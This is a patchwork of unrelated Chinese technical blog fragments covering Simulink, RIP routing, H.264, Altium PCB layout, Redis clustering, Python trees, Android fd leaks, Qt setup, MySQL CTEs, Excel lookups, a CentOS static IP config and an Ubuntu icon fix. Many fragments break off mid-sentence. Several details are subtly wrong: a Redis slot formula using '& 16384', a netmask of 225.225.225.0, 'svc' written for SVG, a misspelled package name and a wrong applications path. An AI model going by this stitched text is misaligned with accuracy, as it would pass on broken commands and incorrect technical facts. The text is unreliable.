数据可视化:使用 R 中的绘图函数(如 ggplot2)可视化数据,以便更好地理解数据。
数据统计:使用 R 中的统计函数(如 mean,median,var)进行数据统计分析。
数据建模:使用 R 中的机器学习算法(如 lm,glm)或者统计模型(如 ANOVA,regression)对数据进行建模,以便对数据
首先明确一点,求解器的仿真步长和仿真图里的模块的采样时间间隔不是一回事。
对于求解器来说,仿真步长越小,求解越精确,但是越耗时。一般我们会设置成自动步长,让matlab根据运算状态自动实时调整步长。当然我们也可以强制设置仿真步长为固定值。对于在单片上运行的程序,用simulink做固定步长仿真很有意义。
设置求解器为固定步长。
如下图设置仿真步长为固定2.5ms
matlab function模块的采样时间间隔
也即matlab function多长时间会被执行一次。
右击选择:block parameter。,然后填上sample time为2.5ms
类似的模块还有:constant常数模块、inport输入模块等
示波器的时间间隔
假定网络中的路由器A的路由表有如下项目(这三列分别表示“目的网络”、“距离”和“下一跳路由器”)
现在A收到从C发来的路由信息(这两列分别表示“目的网络”和“距离”):
试求出路由器A更新后的路由表(详细说明每一个步骤)。(5分)
答:
A收到C发来的路由信息,A要跟新自己的路由表,通过C所以先距离加一,下一跳是C
更新后,和原来的表比较,N1下一跳不相同,选距离短的结果是N1 3 C
N2 下一跳相同,选时间新的N2 4 C
N3 下一跳不相同,选距离短的N3 1 F
N4 下一跳不相同,距离相同,不更新 N4 5 G
参考内容:
目录
前言
H264码流结构
H264帧结构
H264档次介绍
RTSP实时音视频开发实战课程:<RTSP实时音视频开发实战>
《YUV编码为H264视频流代码实现》链接:
https://edu.csdn.net/learn/38258/606133?spm=1003.2001.3001.4157
《H264视频流解码为YUV代码实现》链接:
https://edu.csdn.net/learn/38258/606144?spm=1003.2001.3001.4157
前言 在音视频开发入门基础知识(视频入门篇)中已经介绍了视频开发技术的基本的过程,其中就对H264编码做了简单的介绍;本文会对H264编码后的视频流做一个详细的介绍。
H264码流结构 通常一个H264码流中包含了多个GOP(图像组),每一个GOP里面包含多个视频编码帧,如下图所示。GOP(Group of Pictures)图像组的意思。H264码流对GOP的划分是两个邻近关键帧(IDR帧)之间的图像为一个GOP,包含前面的IDR帧,不包含后面的IDR帧,包含第一个IDR帧后面的所有P帧和B帧;如下图GOP图像包含了5个图像编码帧,一个IDR帧和两个P帧,两个B帧。GOP又分为开放(open)GOP和闭合(close)GOP;open GOP是指当前GOP中的P帧和B帧能将前一个GOP的图像作为参考帧,并且open gop中不存在IDR帧,会有I帧(下面会介绍),假设下图是open GOP的情况,序号为6的P帧能参考序号为0的IDR帧(此时应该叫I帧)或者序号为6的P帧参考序号为1和4的P帧。close GOP是指当前GOP中的P帧和B帧不能将前一个GOP的图像作为参考帧,若下图是close GOP的情况序号为6的P帧不能参考序号为0的IDR帧,也不能参考序号为1和4的P帧,他只能参考序号为5的IDR帧。
一个GOP包含了一个IDR帧和多个P帧或B帧。这里在介绍下H264的编码帧类型;
IDR帧:Instantaneous Decoding Refresh,即时解码刷新帧;也叫关键帧 。同时IDR帧也是I帧(帧内编码帧);IDR帧编码上采用帧内编码技术,即IDR帧的编码和解码不需要参考其他视频帧,只对图像做空间上冗余的压缩编码;解码过程遇到IDR帧会重新解析计算解码参数,并清空之前的解码信息,可以防止前面GOP内的错误延续到当前GOP。
I帧:帧内(Intraframe)压缩编码帧;帧内压缩过程,主要是通过空间上邻近像素相似的特点来解决空间冗余(当前编码块/像素和周围块/像素存在相似或者相同就是空间冗余)的一个编码方法,比如常见的jpeg图像就是通过帧内编码压缩的图像。I帧不一定是IDR帧(关键帧),IDR帧一定是I帧/关键帧;I帧解码不会像P帧B帧那样需要依赖前面或者后面视频帧图像,所以I帧可以单独一帧来解码;I帧和IDR帧最大的区别在于解码过程是否会清空之前的解码信息(IDR帧会清空之前的解码信息,I帧则不会)。
P帧:前向参考编码帧,通常采用帧间和帧内混合的编码方式。通常当前视频图像和前一帧视频图像有着相似和差异的内容,去除相似的内容,保留差异的值进行编码,就可以消除图像时间上的冗余;解码需要依赖参考帧,等参考帧解码完成后才能解码P帧。
B帧:双向参考编码帧,就是需要参考前面一帧图像也需要参考后面的一帧的图像;和P帧类似,B帧通常也采用帧间和帧内混合的编码方式;不同的地方是P帧是和前一帧的差异做编码,B帧不仅仅和前一帧差异做编码,也和后面一帧的差异进行编码;B帧解码需要依赖前后的参考帧,等前后参考帧解码全部完成后才能解码B帧。
P帧和B帧在编码的过程也可以采用帧内编码的模式,B帧和P帧主要靠帧间编码来提示压缩率的。下图2-1是一个I帧/IDR帧的信息,下面中画面中需要的橙色方块就是I帧/IDR帧采用帧内编码的数据块。下图2-2是P帧的信息,图2-2中方块的颜色大多是蓝色,这表示这些数据采用帧间编码;另外有小部分是橙色方块这些块采用帧内编码。
图 2-1
图 2-2
H264帧结构 我们知道H264视频码流是由若干个GOP组成,而GOP由一个I帧和多个P帧/B帧组成。那么I帧和P帧/B帧的构成是什么样子的呢?H264在功能上分为两层:NAL 层,和VLC层。
NAL层:NetworkAbstraction Layer,网络提取层;再将VLC层数据进行存储或者传输前需要将这些VLC数据映射或者封装到NAL单元中。
VLC层:VideoCoding Layer,视频编码层;视频图像编码后输出的数据,他表示被压缩后的视频序列。
在一帧编码图像中存在一个或多个NAL Unit(Nal 单元);NAL单元包含NAL Unit Header(Nal 单元头)和NAL Unit Body(Nal 单元主体数据);NAL Unit Header由起始码和Nal Type组成。NAL Unit Body通常是RBSP(Raw Byte Sequence Payload 原始字节序列载荷)数据 ,即编码后的比特流数据。 Nal Unit 起始码通常是十六进制数0x000001或者0x00000001;在解析Nal Unit的时候首先要找到起始码,根据起始码的位置来判断一个NalUnit的开始或者结束。NalUnit根据类型可以分为 SPS、PPS、I Slice、P slice、B slice等;
SPS:Sequence Paramater Set 序列参数集;主要记录了编码视频的的 Profile、level、图像宽高等。
因学校课程设计需要完成一个四层板的设计,文章主要包括我总结易忘记的步骤以及在整个过程中遇到的问题。
首先是原理图的报错问题,我在一个端口报了两个错,分别是duplicate net names wire和***has one pin。我那个端口分布在两个原理图中,当时查了很多,关于has one pin的解决并没有什么网络标号没放上等等这种错误,然后决定另辟蹊径一下,去仔细查了duplicate net names wire这个错误,也是最前面的几条都没有用,最后还是用了最根本的设置方面的问题。
解决方法:1.进入altium designer编辑器,点击project--project options进入。2.进入project options。点击上面的option选项卡。3.将net identifier scope定义的范围修改为global,点击OK按钮即可。问题顺利解决。
上面的问题解决后,那个端口两个错误就都不报了,但是又出现了总原理图的问题,总的绿色原理图上的所有引脚都报错,最后采用了暴力解法,直接把总原理图移除那个工程放到下图这个位置
重新编译后,问题解决。最后还有数据线和地址线的一堆warning,直接决定摆烂,不改进入PCB的绘制。
在PCB的绘制中,首先需要直到怎么修改AD中的单位,因为后面的板边界还有字体什么的不能一直用mil看,很别扭。
这里有个快捷键比较简单,一键换成mm单位:ctrl+Q,我的会弹出一个界面,不用管,我关掉看了眼已经变过来了。
后面画PCB的时候发现再摁一下换不回来,又查了另一种方法,发现这个更方便好用。
之后就是关于PCB布局,在之前的实习中因为时间原因,画两层板比较仓促,这次寒假好好学习了一下,总结如下:
关于新建工程这种比较简单,直接省略。
首先需要确定板子的大小,这个根据需要,自行决定板子的大小,之后在下图两个的其中一个place---->line。
Mechanical 1:机械层1,该层可用于设计PCB的机械外形。
Keep-Out Layer:禁止布线层,可用于设计PCB的机械外形。
在设计板子大小时,自我认为有点笨了,我是先画了一条横线,双击编辑其长度,再竖着画条线,双击编辑长度,拖动把他们连在一起,再画剩下的两面。封闭面画好后就可以进行框的粗细设置,全选四条线设置。(右下角往左上角括,只要碰到就会被选到;左上角往右下角括,必须一个东西全进去才行。)接下来 可以进行这层的锁定,这个我没查到至今还不会觉得不锁定也行,自己小心一点别碰到。
接着,我的建议是画辅助线,这个利于布局,在丝印层Top-Over layer进行辅助线的绘制,我当时是这样绘制的,这样便于放置核心的芯片
关于器件如何旋转90度,我觉得就是双击改角度比较方便,毕竟还是转90度的时候用到的多,把空格转的角度改了后面会不方便。
接下来可以进行层的设置,因为默认是两层,需要增加两层板,首先进入层的设置模块
(快捷键:D+K,打开层叠设置)
在其中右键任意一层,可以在其上方或下方添加层,我是怎增加plane,不加signal,因为中间两层我准备一层做Vcc,一层做GND,如下图
注:signal:信号层,又叫正片层,同Top layer和Bottom layer
plane:负片层,专用于4层板以上的电源或地走线
设置完保存后,可以在PCB下面栏里看见自己新加的两层。在这里,可以用层和视图的设置,个人认为比较好用,快捷键:键盘“L键”;左键单击工作区左下角也可以打开层和视图的设置,如图
之后右键单击对应的层可对当前层进行操作。
之间还要进行PCB的规则设置,这个根据老师的要求来。
接下来就可以进行PCB的绘制。为了方便绘制,可以将AD的界面分成两面。如下图
windows----->之后可进行水平或垂直分割。
接下来把元件放在板子周围:首先需要将所有元器件选中,之后如下图
之后可以发现元件位于板子周围。
导入后发现芯片有绿色的引脚:
PCB 芯片封装的引脚中心距一般有1.27mm、0.8mm、0.65mm、0.5mm、0.4mm等多种规格。而引脚数从4到368。这就造成芯片的焊盘间距不同,一般默认的焊盘间距为10mil,如果小于10mil,芯片的引脚在PCB中会显示为绿色,视为无法导通。
解决办法:1.点击软件的Design-->Rules 2.再点击ecectrical-->clearcnce 3.在忽略同一封装内的焊盘间距打勾,就可以解决系统默认规则的不能小于10mil间距,再点击应用即可。问题解决。
四层板中对于元器件的布局很有讲究,这里有个快捷键:L(自动切换到底层)
PCB布局时,我建议是按模块布局,在原理图中选中,在PCB按上面说过的矩形布局,可以直接将一个模块的器件全部筛选出来,这里建议将原理图改成只选器件再选中一个模块。
上图为筛选后的状态。
这里推荐一个布局小工具,个人觉得非常好用:
PCB布线之前我建议是预处理一下,不然有的东西比如丝印层会阻挡视线。
右键选中想隐藏的层,这样整个界面就变得干净了。
之后PCB布线时,一般是先连信号线,最后连Vcc和GND,所以我们可以先将电源和地线隐藏。快捷键:N
选中NET之后,随便点一下,输入想隐藏的线,就可以将电源和地的线全部隐藏起来。处理之后就可以进行布线了。这里面有个高亮显示的很好用,如果看不太清的话,可以进行调试。快捷键:ctrl+D
箭头往左拉,越左越亮。(这里面也可以隐藏文字,用处多多,大家自己挖掘)
接着疯狂ctrl+w就可以布线啦。过孔快捷键:ctrl+shift+滚轮
注意一个点:垂直分割窗口时,要在PCB那个界面点一下,tools那个模块才能是全的。
对于四层板的电源和地线,我本人查了很多资料。首先还是将这两层分块。
1.查看平面分割管理器。平面分割管理器记录着内电层的分割数量、网络连接情况。
·首先查看已经存在的分割,右下角pannels打开pcb。
Redis常见架构及其原理 主从架构Redis主从数据如何同步?全量同步数据部分数据同步 主从复制风暴 哨兵架构sentinel会与主从服务器建立连接sentinel感知主节点下线sentinel选举流程 集群架构集群的数据存储计算key落入哪个槽位跳转重定位集群的选举原理集群脑裂问题 总结 主从架构 简单的主从架构就是一个master节点,两个slave节点。
Redis主从数据如何同步? Redis主从架构同步数据分为两种情况:1、全量同步数据 2、部分数据同步。
全量同步数据 当slave和master建立长链接后,slave就会发送psync命令要求同步数据master接收到psync命令后,就会先执行bgsave,将内存的数据生成rdb快照在master生成rdb快照期间,如果还有命令要执行,会缓存到repl buffer当中master将生成的rdb数据发送给slaveslave接收到rdb快照后,会清除本地的旧数据,然后再将rdb加载到内存中master将缓存的buffer数据发送给slaveslave接收到缓存的buffer数据,会重做本地数据master通过长链接发送命令,实现主从数据一致性 部分数据同步 主节点和从节点都会维护一个复制偏移量——offset,如果从节点完整复制了主节点的数据,那么主从节点的复制偏移量就是相同的。
master会缓存近期的一些写操作命令,缓存在repl buffer中,默认大小是1mb。slave节点断开重连后建立socket长链接slave发送psync(offset)命令要求同步数据master的buffer中如果有offset,那么将会把offset之后的所有数据都发送给slave,否则将全量同步数据master通过socket长链接发送数据,实现主从数据一致性 主从复制风暴 当一个主节点有多个从节点时,在同一时刻多个从节点都要同步数据,那么主节点在这一刻的压力会非常大,可能导致主节点出现问题——这个就是主从复制风暴。
为了解决这个问题,可以将主从的架构设置成梯形的,也就是从节点也可以是主节点。
哨兵架构 在主从架构中,虽然能解决一定的并发和读写分离,但是整个主从架构不是高可用的。一旦主节点下线后,只能人为介入切换主节点,为了解决这个问题,sentinel(哨兵)架构就应运而生。
哨兵是特殊的redis服务,不提供读写服务,主要就是用来监控redis节点。
sentinel会与主从服务器建立连接 sentinel一旦和主从服务器建立连接后,就能感知到哪个节点是master。当client第一次连接时,sentinel会返回主节点的信息给client,后续client就直接和master进行通信。
sentinel感知主节点下线 sentinel会定期发送PING命令给其它节点,根据节点是否回复PONG命令来判断哪些节点已下线。一旦sentinel发现master下线,就会选举新的master,然后推送给client。
sentinel选举流程 当某个sentinel发现master下线后,会将自己设置成leader当该sentienl得到了半数以上节点的同意,就会成为sentinel leadersentinel leader开始选取一个存活的slave节点作为新的master,然后推送给client 集群架构 集群的数据存储 redis cluster是通过逻辑槽位来划分数据,redis cluster总共将所有数据划分为16384个slot(槽位),然后每个节点负责一部分槽位的数据进行存储。
计算key落入哪个槽位 通过对key使用CRC16进行hash运算,得到一个hash值,然后再使用hash值和16384进行与运算,得到最终的槽位信息。
计算公式:Hash_slot = CRC16(key) & 16384。
跳转重定位 当服务端发生槽位信息变动时,客户端可能没有感知到最新的槽位信息,让然使用旧的槽位向服务器发送写命令。
当服务器发现该槽位不属于我这个节点管理时,会给客户端响应一个重定位的信息,并附带该槽位对应的节点信息。客户端接收到新的槽位信息后,会更新本地缓存的槽位信息,然后再次发送指令给服务器。
集群的选举原理 当某个slave发现它的master下线后,会对外广播failover信息,然后开始竞选master,当某个slave节点拥有半数以上的投票结果时,这个slave节点就会成为新的master。
选举流程:
slave发现master的状态变成failslave会对外广播failover信息,然后集群的选举周期+1其它节点接收到广播后,只有master才会响应,并且返回ack当该slave节点拥有半数以上的ack时,就成为新的master 当slave发现master下线后,不是立刻发起选举的,而是有一个delay time,这个delay time就是防止多个slave节点竞选master时票数一致,导致选举失败。
集群脑裂问题 当集群中出现网络分区问题时,有多个master对外提供服务,当网络分区恢复时,其中一个master将清空数据,变成salve。这样就会导致部分数据丢失,而redis提供了一个配置项,可以降低数据丢失的风险——min-replicas-to-write 1。
总结 主从架构:能解决读写分离问题,但是只有一个主节点,抗不了很高的并发,主从切换也不支持。哨兵架构:可以自动切换主从节点,但是仍然只有一个主节点,只解决了高可用。集群架构:解决了高可用、高并发问题,还引入了逻辑槽位,将数据进行分片存储,降低了单个小集群的读写压力,还支持水平扩展,整体提升了redis的性能。
1.概念 树一种基本的“非线性”数据结构。
相关术语:
节点Node:组成树的基本部分。每个节点具有名称,或“键值”,节点还可以保存额外数据项,数据项根据不同的应用而变。边Edge:边是组成树的另一个基本部分。每条边恰好连接两个节点,表示节点之间具有关联,边具有出入方向。每个节点(除根节点)恰有一条来自另一节点的入边。每个节点可以有多条连到其它节点的出边。根Root:树种唯一一个没有入边的节点。路径path:边依次连接的节点的有序列表子节点Children:入边均来自于同一个节点的若干节点,称为这个节点的子节点父节点Parent:一个节点是其所有出边所连接节点的父节点兄弟节点Sibling:具有同一个父节点的节点之间成为兄弟节点子树SubTree:一个节点和其所有子孙节点,以及相关边的集合叶节点Leaf:没有子节点的节点。层级Level:从根节点开始到达一个节点的路径,所包含的边的数量,称为这个节点的层级。根节点的层级为0。高度:树中所有节点的最大层级称为树的高度完全二叉树:叶节点只出现在最底层和次底层, 最底层的叶节点集中在树左侧。 - 下标性质:当前节点为P, 则他的父节点是$\frac{P}{2}$,左子节点是2P,右子节点是2P + 1 2.树的数据结构表示方法: 2.1 嵌套列表法 用嵌套的列表表示树。
[根节点root, 左子树left, 右子树right] 例如
这个数表示就是 [a, [b, [d, [], []], [e, [], [] ]], [c, [f, [], []], []]] 2.2 嵌套列表法树插入新节点、返回根节点、返回子树的操作代码实现 def binary_tree(root): # 创建只有根节点的二叉树 return [root, [], []] def insert_left(root, new_branch): # 将新节点插入到树的根节点的左节点,作为其左子树的根节点 # 注:不是将新节点直接插入到左子树的最后一个节点上 temp = root.pop(1) if len(temp) > 1: root.insert(1, [new_branch, temp, []]) else: root.insert(1, [new_branch, [], []]) def insert_right(root, new_branch): # 将新节点插入到树的根节点的右节点,作为其右子树的根节点 # 注:不是将新节点直接插入到右子树的最后一个节点上 temp = root.
如果您想禁止在局域网中的内网通软件进行通信,您可以采取以下措施:
防火墙设置:在局域网的防火墙中拒绝内网通软件的网络请求。
网络策略:使用网络策略控制对内网通软件的访问。
内容过滤:使用内容过滤器来拦截内网通软件的网络流量。
安全软件:安装安全软件,阻止内网通软件的通信。
这些措施的具体实施方法因具体环境而异,您可以根据您使用的操作系统和网络环境来决定使用哪种方法。
前言 手机应用和Android终端机应用不同的地方是:Android终端机应用长时间运行,必须保证长时间(几周到几个月不等)稳定运行,不崩溃,而手机应用经常进出,很难发现一些问题。线下监控内存泄漏可以使用LeakCanary、Android Studio 的 Android Profiler、eclispe的MAT这些常规手段,但是不支持线上监控。线上监控应用,可以使用腾讯Bugly、友盟。但是有了线上监控就完事了,不一定,有时候出现一些奇怪的问题,明明看似代码规范,却还是crash了。Android终端机应用crash回到桌面(通过守护进程重新拉起应用),这是非常影响用户体验的。下面举例子分析一个常见的线上异常(数据库用的是Room)
出现异常 CursorWindowAllocationException CursorWindowAllocationException Cursor window allocation of 2048 kb failed. 可能原因1:
sqlite query完成之后cursor没有关闭。
解决方法:
在finally中关闭cursor
Cursor cursor = null; try { } finally { if (cursor != null) { cursor.close(); } } 可能原因2
Cursor空间耗尽,比如
线程A执行到1处创建了一个Cursor,然后dosomething比较耗时…,线程B又来查询数据库,因此到1处又创建一个Cursor,此时如果AB执行完,就会关闭锁,看起来没有问题,但由于是同一个对象,所以AB关闭的cursor都是B创建的,因此
A创建的Cursor就没有关闭!
解决方法同上
进一步分析异常 在你的应用中,Cursor正常关闭,还是时不时报CursorWindowAllocationException,这是你就要注意应用的句柄泄露了(Fd泄露),文件描述符(File descriptor)是计算机科学中的一个术语,是一个用于表述指向文件的引用的抽象化概念。
在Linux中一个文件、一个串口、一个socket、一个线程都可以是一个文件,而一个文件会占用一个句柄,linux中一个进程默认的句柄最大数值是1024,当超过这个数值,linux就会对当前的进程进行kill,而kill的对象可以是任意对象,所以会造成各种异常原因的崩溃。
Linux中, 每一个进程在内核中,都对应有一个“打开文件”数组,存放指向文件对象的指针,而 fd 是这个数组的下标。
我们对文件进行操作时,系统调用,将fd传入内核,内核通过fd找到文件,对文件进行操作。
既然是数组下标,fd的类型为int, < 0 为非法值, >=0 为合法值。在linux中,一个进程默认可以打开的文件数为1024个,fd的范围为0~1023。可以通过设置,改变最大值。
在linux中,值为0、1、2的fd,分别代表标准输入、标准输出、标准错误输出。因为 0 1 2已经被linux使用了,通常在程序中打开的fd,是从3开始的。但我们在判断一个fd是否合法时,依然要使用>=0的判断标准。fd的分配原则,是从小到大,找到第一个不用的进行分配。
句柄泄露可能原因:
socket socket()/accept();数据库sqlite游标操作文件流操作,检查后都有close;硬件通讯,如串口,usb这些,是否正常关闭 通过排查,发现串口通讯没有正常关闭,创建太多fd,导致fd耗尽,最终影响数据库sqlite游标操作,出现了上面的异常CursorWindowAllocationException,数据Cursor创建也需要fd。
但是线上监控只是上报异常,没有指出哪里泄露,这时候需要通过物联网(IoT) MQTT(构建于Tcp/Ip协议的一种应用层协议,它的全称是Message Queuing Telemetry Transport)下发指令(adb)拉取fd信息,然后从终端设备上传到本地,再分析fd信息进行排查是哪里泄露。Java发送adb指令可以通过Runtime.
Qt实战:Qt5.11.1安装与MSVC配置 文章目录 Qt实战:Qt5.11.1安装与MSVC配置一、Qt 5.11.1安装二、MSVC配置1. 安装Visual Studio Installer2. 安装Windows-10-SDK3. 配置构建套件(Kit) 总结 一、Qt 5.11.1安装 Qt 5.11.1下载地址:
https://download.qt.io/new_archive/qt/5.11/5.11.1/
如图,根据自己的系统选择对应的安装包或安装程序,这里以Windows为例,选择exe程序,之后会在右上角弹出下载链接,待下载完成后,点击运行,开始安装程序。
ps:如果下载过程过慢,可选择百度网盘下载,会相对快一些,也可选择相关的镜像进行下载。
百度网盘下载链接:
链接:https://pan.baidu.com/s/1vi8HlPWoluoWtceLt-xGjg?pwd=iwms
提取码:iwms
也可关注微信公众号“云曦智划”,回复"Qt安装包",获取其他相关安装包。
如图1所示,点击运行后,出现如下图所示界面,点击Next,进入设置界面,可以在Qt官网处注册一个,也可直接跳过,点击Next,进入下一步即可。
进入安装设置,如下图2所示,点击下一步,进入下一个界面,选择浏览,进行Qt安装目录的选择,注意,要选择一个空的文件夹,Qt卸载时会将该文件夹一整个卸载掉,以免误删重要信息,选择好后,点击下一步,进入选择组件界面。 如图3所示,选择如下组件,MinGW为一般编译所用插件,MSVC,Qt WebEngine为Qt链接HTML界面时所用插件,Qt Charts为可视化图表所用插件,均需进行勾选,而后点击下一步,接受相关协议,点击下一步,下一步,安装,之后即可完成Qt 5.11.1的安装与基本配置。 二、MSVC配置 1. 安装Visual Studio Installer Visual Studio Installer下载地址:
https://c2rsetup.officeapps.live.com/c2r/downloadVS.aspx?sku=community&channel=Release&version=VS2022&source=VSLandingPage&cid=2030:56169526-79a5-42bf-a1d0-7a09a025abc6
安装完成后,勾选“使用C++的桌面开发”,以及右侧相关插件,如下图4所示,点击修改或者安装即可。
2. 安装Windows-10-SDK Windows-10-SDK下载地址:
https://download.microsoft.com/download/d/8/f/d8ff148b-450c-40b3-aeed-2a3944e66bbd/windowssdk/winsdksetup.exe,勾选Debugging Tools Windows,如下图5所示,然后默认安装即可。
3. 配置构建套件(Kit) (1)打开Qt 5.11.1,点击上方的工具按钮,点击其中的选项按钮,弹出如图6所示界面。
(2)点击第一个Kits按钮,选择左侧的编译器,查看是否存在如图7所示的相关Microsoft Visual C++相关编译器,如果没有,点击右侧的Add或者添加按钮,进行相关的添加。
(3)点击Debuggers,查看是否存在如图8所示的相关调试器,如果没有,点击右侧的Add或者添加按钮,进行相关的添加。
(4)点击构建套件(Kits),看一下MSVC是否无红色或黄色警告,若如图9所示,则表示配置成功,可进行相关HTML界面内嵌等操作了。
总结 以上是部分Qt关于实战的部分,所有相关的Qt实战的部分,均在下方专栏——Qt实战中,大家如果感兴趣可以进行观看并使用,希望通过这些文章能够使大家的Qt软件更加美观和完美 !!!
另,如果大家有时间的话,也可以在个人主页中的专栏部分,查看我的Qt界面优化专栏与Qt功能优化专栏哦,里面分别存放有Qt相关的实战软件和相对实用的附属功能,大家感兴趣可以看看(๑><๑)
另附Qt界面优化:鼠标双击特效和Qt功能优化:Qt链接外部程序两篇相关文章,大家可以下滑到文章下方专栏处,查看相关专栏中的其它文章,希望能帮助到大家,感谢大家支持~( ̄▽ ̄~)~
MySQL 8.0 新特性之 - 公用表表达式(CTE) 1. 公用表表达式(CTE) - WITH 介绍1.1 公用表表表达式1.1.1 什么是公用表表达式1.1.2 CTE 语法1.1.3 CTE示例 1.3 递归 CTE1.3.1 递归 CTE 简介1.3.2 递归成员限制1.3.3 递归 CTE 示例1.3.4 使用递归 CTE 遍历分层数据 2. CTE 与 Derived Table在 5.6 版本中在 5.7 版本中在 8.0 版本中 1. 公用表表达式(CTE) - WITH 介绍 1.1 公用表表表达式 1.1.1 什么是公用表表达式 官网:https://dev.mysql.com/doc/refman/8.0/en/with.html#common-table-expressions
MySQL 从 8.0 开始支持 WITH 语法,即:Common Table Expressions - CTE,公用表表达式。
CTE 是一个命名的临时结果集合,仅在单个 SQL 语句(select、insert、update 或 delete)的执行范围内存在。
与派生表类似的是:CTE 不作为对象存储,仅在查询执行期间持续。与派生表不同的是:CTE 可以是自引用(递归CTE),也可以在同一查询中多次引用。此外,与派生表相比,CTE 提供了更好的可读性和性能。
大多数时候我们都需要进行精确查找,但也会遇到需要模糊查找的时候。譬如根据简称查找全称,譬如根据数值划分等级等。模糊查找不等于瞎子摸象,这里分享4种用VLOOKUP和LOOKUP函数进行模糊查找的方法。
今天来跟大家分享模糊查找的几种方法。
常规的模糊查找分为两种情况,一种是数值;一种是文本。
一、数值模糊查找
首先我们分享关于数值的模糊查找。
举例:某公司需要为新员工定制工作服,现在需要根据员工的实际身高匹配需要定制衣服的尺码。
这种情况就需要通过模糊查找来返回每个员工身高所对应的尺寸。有两种方法来完成。
方法一:LOOKUP
函数公式:
=LOOKUP(B2,{0;165;170;175;180;185;190},{"S";"M";"L";"XL";"XXL";"XXXL";"XXXXL"})
公式解析:
这是通过LOOKUP向量形式来完成模糊查找。可以理解为查找B2单元格处于{0;165;170;175;180;185;190}哪个区间,如果在某个区间内就返回对应{"S";"M";"L";"XL";"XXL";"XXXL";"XXXXL"}的文本信息。
譬如169位于165-170之间,那么就返回“M”文本信息。
这里的区间对应关系如下。0到小于165的属于S尺寸;165到小于170的属于M尺寸,依次类推,直到大于等于190的属于XXXXL尺寸。
方法二:VLOOKUP
函数公式:
=IFERROR(VLOOKUP(B2+5,F:G,2,1),"S")
日常工作中我们使用VLOOKUP函数时第四个参数都是输入0,表示精确查找,此处第四参数为1,表示近似查找。
公式解析:
1.通过函数公式=VLOOKUP(B2,F:G,2,1)即可返回目标区域中小于等于查找值的最大值所对应的尺码。注意:在使用VLOOKUP函数进行模糊查找之前必须要将查找范围F:G处的数据按查找内容(此处为身高)进行升序排序。
例如,我们查找172,那么就返回目标区域中小于等于172的最大值即170,对应的尺码为M。由于服装的尺寸是就高不就低,身高172的员工必须定制身高175的L码的衣服,所以我们在查找匹配时需要在员工身高基础上加5,这样就能返回大于身高的最小尺寸了。
2.员工中有部分身高即使加5后仍小于165,因为F列165就是最小的了,所以这部分数据无法在F列查找到所需值,VLOOKUP函数返回错误值#N/A。我们希望小于165的员工都定制S号,就通过IFERROR函数将VLOOKUP错误结果重定向为文本字符“S”。
二、文本字符模糊查找
下面分享文本的模糊查找,例如,通过查找AB返回查找区域中包含AB的AAAABBB单元格所对应的值。
举例:下表为各公司2018年度营业额数据,公司名称为全称。现在我们在另外一个表中需要根据公司简称来匹配相关的营业额数据。
方法一:VLOOKUP+通配符
函数公式:
=VLOOKUP("*"&E2&"*",A:B,2,0)
公式解释:
*代表所有字符,"*"&E2&"*"则表示包含E2单元格文本内容的所有内容。
方法二:LOOKUP+FIND
函数公式:
=LOOKUP(1,0/FIND(E2,A$2:A$8),B$2:B$8)
公式解释:
公式用了LOOKUP查找套路。通过FIND函数判断E2单元格中文本处于A$2:A$8单元格中的位置,如果存在则返回大于0的数值,否则返回错误值;然后0/FIND(),则得到一组0和错误值的数组;最后LOOKUP函数出手,在数组中找到最大的不大于1的值,0,并根据0所在位置,返回对应的B$2:B$8中的值。
顺便说一嘴:如果你只想通过简称查到全称,则公式可以改成=LOOKUP(1,0/FIND(E2,A$2:A$8), A$2:A$8)。
文章目录 一、查看ip地址二、配置三、重启 一、查看ip地址 查看是否有静态ip地址
二、配置 vi /etc/sysconfig/network-scripts/ifcfg-ens33 将 BOOTPROTO改为static,并添加如下配置:
IPADDR=192.168.50.103 NETMASK=225.225.225.0 GATEWAY=192.168.50.1 DNS1=119.29.29.29 我们这里将静态ip地址改为192.168.50.103。
完成后按下ESC,输入:wq 保存
三、重启 输入重启命令,重启linux后配置生效
reboot 可以看到已经配置成功了!
决策树可以使用Python的机器学习库scikit-learn进行编写。以下是一个简单的决策树示例代码:
import numpy as np import pandas as pd from sklearn.tree import DecisionTreeClassifier from sklearn.model_selection import train_test_split # 加载数据 data = pd.read_csv("data.csv") # 划分数据集 X = data.iloc[:, :-1] y = data.iloc[:, -1] X_tra
FPGA, MCU, ASIC等平台的选择需要考虑多方面的因素,以确定采用哪种平台最终对于项目是最为经济可持续的。
FPGA是可编程逻辑器件,它可以模拟任意逻辑电路,并具有高度的灵活性和可重配置性。它通常比MCU更昂贵,但在一些特殊的应用场景中,FPGA可以提供更高的性能,如高速数据处理、高带宽通信等。
MCU是微控制器,它具有内置的微处理器,存储器和外设,适用于许多嵌入式应用,如家用电器、移动设备等。MCU一般价格比FPGA低,而且编程简便,对于简单的控制任务非常适用。
ASIC是专用集成电路,它是为特定应用场景设计的,具有高度的集成度和性能优势。ASIC的成本通常比FPGA和MCU高
ubuntu部分图标缺失。这里说的缺失不是指图标不会显示,而是说图标虽然会显示,但是显示不正确。比如显示为一个空白方块或者红色的"禁止"图标。
简要列出部分缺失的图标:
文件夹图标wifi图标,performance图标,setting的小齿轮图标等等几乎所有ubuntu默认安装的软件都缺失图标一些后来安装的第三方应用… 问题定位 以安装的百度网盘为例,其图标缺失,无法正确显示。查看其dekstop文件:
cd /etc/share/applications vim baidunetdisk.desktop 其文件内容如下:
注意Icon字段,该字段指示了图标文件的文件名。这说明百度网盘显示的图标,其文件名为baidunetdisk。
在该desktop文件中,Icon字段没有指定绝对路径名(有的desktop文件中直接指定绝对路径名),那么该图标文件到底在哪里呢?
关于这一点,可以参考freedesktop网站关于Desktop Entry的标准。该网站包含一系列有关图形化用户界面的标准,其中也包含对于图标文件路径搜索算法的说明。
在找到该文件之后,发现该文件是一个svc文件。参阅freedesktop网站关于图标的标准,检查这些图标可能存在的文件夹,发现这些图标文件都是存在的,不过都是svc格式。
以/usr/share/icons/hicolor/scalable文件夹为例(关于为什么是这个文件夹请参考freedesktop网站的相关标准),该文件夹下存在一些列svc格式的图标,包括我们的baidunetdisk。
这些图标正是未正确显示的图标当中的一部分,而其他正确显示的图标,发现其格式是png的。
因此猜测,桌面环境用于解析svc格式图片的某些功能出现问题。
解决问题 查找与svc有关的软件包:
sudo aptitude search '~nsvc' 关于aptitude的使用请参考debian官网的用户手册,其中详细阐述了apt、apt-get、aptitude的区别和使用场景,这里不再赘述。如果不了解aptitude,直接将这行命令丢到chatgpt里面,让他帮你分析。😃
发现了librsvc和librsvc-common这两个包,尝试将其重新安装:
sudo apt install --reinstall librsvg2-2 ibrsvg2-common log out,再log in。问题解决。
